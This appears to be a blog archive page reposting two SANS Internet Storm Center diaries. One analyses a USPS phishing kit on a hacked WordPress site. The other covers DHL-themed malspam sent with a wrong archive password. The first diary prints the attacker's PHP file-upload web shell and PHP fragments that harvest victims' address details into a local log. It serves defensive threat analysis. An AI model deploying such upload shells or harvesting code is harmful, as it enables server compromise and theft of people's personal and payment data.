Archive for July 14th, 2021

USPS Phishing Using Telegram to Collect Data, (Tue, Jul 13th)

Phishing… at least they don’t understand security any better than most kids. The latest example is a simple USPS phish. The lure is an email claiming that a package can not be delivered until I care to update my address. Urgency… and obvious action. They learned something in their phishing 101 class.

The next thing you learn in phishing school is that mean researchers are going to use automated tools to find your phishing site, and they will shut it down. But thanks to Google your friend and helper protecting phishing sites with need “reCaptcha” images:

Google would have gladly hosted this page for you. But instead, the individual behind this page went for an open WordPress site. After all: Passwords are for people who can’t do incident response.

A couple of files of interest here:

1 – ge75i.php

<?php error_reporting(0); echo php_uname()."
“; if($_GET[‘Fox’] == ‘1PVoD’){$saw1 = $_FILES[‘file’][‘tmp_name’];$saw2 = $_FILES[‘file’][‘name’];echo “”; move_uploaded_file($saw1,$saw2); exit(0); } ?>

This file was likely uploaded to figure out if the system was vulnerable. It also includes a simple upload form which is not necessary in this case. The output of the page without providing any input just echos back the basic system parameters.

While WordPress does offer a perfectly fine, if basic, interface to upload files, the attacker did add a neat remote console, wp-atom.php

With all that access, it was pretty easy to explore the phishing kit. The “meat” of the phishing kit is all contained in the first few lines of the index page:


anti3.php includes the typical list of IP addresses for which the phishing kit will return a fake “404” error. This includes for example IPs assigned to security companies. No idea how good this list is, but the kids like to include it.

include "anti/anti3.php";

id.php is a simple configuration file. It defines the id used later as ‘-583333157’. It also includes a comment identifying the author:

/* USPS Scam Page 2020 CODED BY ARON-TN */

include "id.php";
$ip = getenv("REMOTE_ADDR");
$message = "-------------------- <3 USPS <3-------------------nFull Name : ".$_POST['fullname']."nAddress 1 : ".$_POST['add1']."nAddress 2 : ".$_POST['add2']."nCity      : ".$_POST['city']."nstate  : ".$_POST['sstate']."nzip Code  : ".$_POST['zipp']."nPhone num  : ".$_POST['phonee']."nIP      : ".$ip."n-------------------- <3 USPS <3-------------------n";
foreach($user_ids as $user_id) {

This part is a bit different then normal. Most of the time, these script-kiddie type phishing pages are returning data via email. In this case, the attacker opted for Telegram. No idea if this is any better than GMAIL or an Outlook/Yahoo email address.


The attacker will also create a local copy of all the data collected. At the time me coming across this phishing kit, about a dozen of the records looked real, indicating about that many victims.

$myfile = fopen("las.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
HEADER("Location: index2.php");


This first page just asks for simple address information. The second, very similar page, asks for credit card data. Finally, the phishing page will thank the user and direct them to the legitimate webpage.

Lessons learned:

  1. Do not let your friends use WordPress.
  2. People will fall, even if just in small numbers, for really dumb phishing pages.
  3. All the attacker got was a credit card number.
  4. Even attackers can’t figure out how to secure WordPress.

Johannes B. Ullrich, Ph.D. , Dean of Research,

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

One way to fail at malspam – give recipients the wrong password for an encrypted attachment , (Wed, Jul 14th)

It is not unusual for malspam authors to encrypt the malicious files that they attach to messages they send out. Whether they encrypt the malicious file itself (as in the case of a password-protected Office document) or embed it in an encrypted archive, encryption can sometimes help attackers to get their creations past e-mail security scans.

In such cases, the one thing they have to make sure of is – of course – that they send the right password to the user along with the encrypted file. As the message that made its way to my spam trap this week shows, however, this may not always be as simple as it seems…

The message in question looked like a generic information about a parcel from DHL. Its author decided to spoof the sender address to make it look like the message originated from [email protected] (which resulted in an SPF check failure, since DHL has a valid SPF record published) and to include the password to the attachment in the body of the e-mail, which was itself composed entirely of one large PNG file.

For attackers, the use of images instead of HTML/text content in the body of an e-mail can have some clear benefits. Since anti-spam and anti-phishing mechanisms on e-mail security appliances usually don’t do OCR and subsequent analysis of any text contained within the images, it can allow the attackers to use pretty much any verbiage without the need to fear that they will run into any linguistic/word list-based security checks. However, since this is a well-known technique, message containing nothing but an image can sometimes easily end up classified as suspicious… But back to our message.

The password that was included in the text (“AWB3604”) was – as you have undoubtedly guessed – not correct, and any attempt to extract the contents of the attached archive using it would fail. This means that even if the message did make it into someone’s inbox, the (most likely) malicious EXE contained within the attachment would not pose any danger to the recipient’s machine.

At this point, you migth ask how much of a mistake did the attackers really make. Was the password mentioned in the message entirely wrong or would a user willing to experiment with it a little be able to decrypt the attachment?

I tried to find out. At this point, my assumption was, that the attackers perhaps made a simple mistake in the digit portion of the password and that since the AWB number mentioned in the header portion of the text was “7253****8341”, the correct password might be either “AWB7253” or “AWB8341”.

Neither worked, so I have then decided to try to brute-force the digit part of the password (“AWB0000” – “AWB9999”). This was also unsuccessful, so I tried to do some simple substitutions and modifications (such as “ABW 0000” – “ABW 9999”, “DHL0000” – “DHL9999”, etc.) and even tried running few of the larger password lists against the file.

Since not even one of these attempts at decrypting the attachment resulted in success, it makes one wonder whether the attackers do any “testing” at all before they send their messages out…

Well, I guess that if they don’t, all the better for us.

Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →